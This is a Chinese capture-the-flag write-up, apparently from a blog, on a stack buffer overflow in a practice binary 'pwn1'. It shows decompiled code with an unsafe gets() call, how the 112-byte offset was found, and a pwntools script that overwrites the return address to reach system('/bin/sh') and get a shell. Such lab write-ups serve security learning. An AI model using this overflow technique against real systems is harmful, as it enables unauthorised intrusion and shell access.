• 栈溢出-pwn练习1


     1 int __cdecl main(int argc, const char **argv, const char **envp)
     2 {
     3   char s; // [esp+1Ch] [ebp-64h]
     4 
     5   setvbuf(stdout, 0, 2, 0);
     6   setvbuf(_bss_start, 0, 1, 0);
     7   puts("There is something amazing here, do you know anything?");
     8   gets(&s);
     9   printf("Maybe I will tell you next time !");
    10   return 0;
    11 }

    打开IDA,发现第8行有gets函数。

     1 void secure()
     2 {
     3   unsigned int v0; // eax
     4   int input; // [esp+18h] [ebp-10h]
     5   int secretcode; // [esp+1Ch] [ebp-Ch]
     6 
     7   v0 = time(0);
     8   srand(v0);
     9   secretcode = rand();
    10   __isoc99_scanf((const char *)&unk_8048760, &input);
    11   if ( input == secretcode )
    12     system("/bin/sh");
    13 }

    然后发现有system("/bin/sh"),所以就可以直接利用gets函数覆盖返回地址,转到这里就可以拿到shell了。

    在这里可以看到,要溢出的变量s,在ida中显示的位置是ebp-64h,但是实际上通过动态调试,才知道这个数不对。

     在这里输入的数据是0123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901AAAA,从图中可以看到,输入位置的栈帧与ebp的距离有6C字节。

    接下来就要写脚本了,首先我是把这个secure函数的首地址作为返回地址去进行覆盖的(即这里的080485fd)。结果发现不行,然后就再看这个函数的反汇编。

     当时就想着再次进行栈溢出覆盖,把这里的if给绕过,后来试了好多次,也没成功。原因可能是这个scanf虽然能够接受任意长度的变量,但这里的参数是%d,也就是说只能输入整数,所以即使再怎么输入,也只能正常的输入4个字节数据。当然也有可能是我构造的payload不对。总之没有成功。

     后来才知道,直接把返回地址改成这个system函数开始的地方就可以了,根本用不着绕过啥的。

    1 from pwn import *
    2 io=process('./pwn1')
    3 payload=b'A'*112+p32(0x0804863A)
    4 io.send(payload)
    5 io.interactive()

    这个题给我的启发挺大的,之前的思维定势太大了,看到需要返回函数地址的,就习惯性的把首地址传过去,但是实际上,只要是正常的汇编指令,修改一下eip,都可以直接执行。

  • 相关阅读:
    mysql 加入列,改动列,删除列。
    C语言中的static 具体分析
    [Python网络编程]gevent httpclient以及网页编码
    iOS学习之 plist文件的读写
    数据库设计中的14个技巧
    最简单的基于FFMPEG的封装格式转换器(无编解码)
    一次重要的爱情婚姻抉择,您怎么看?
    2014年到期的myeclipse5.5.1注冊码
    24点经典算法
    使用val()方法设置表单中的默认选中项
  • 原文地址:https://www.cnblogs.com/sweetbaby/p/14099939.html
Copyright © 2020-2023  润新知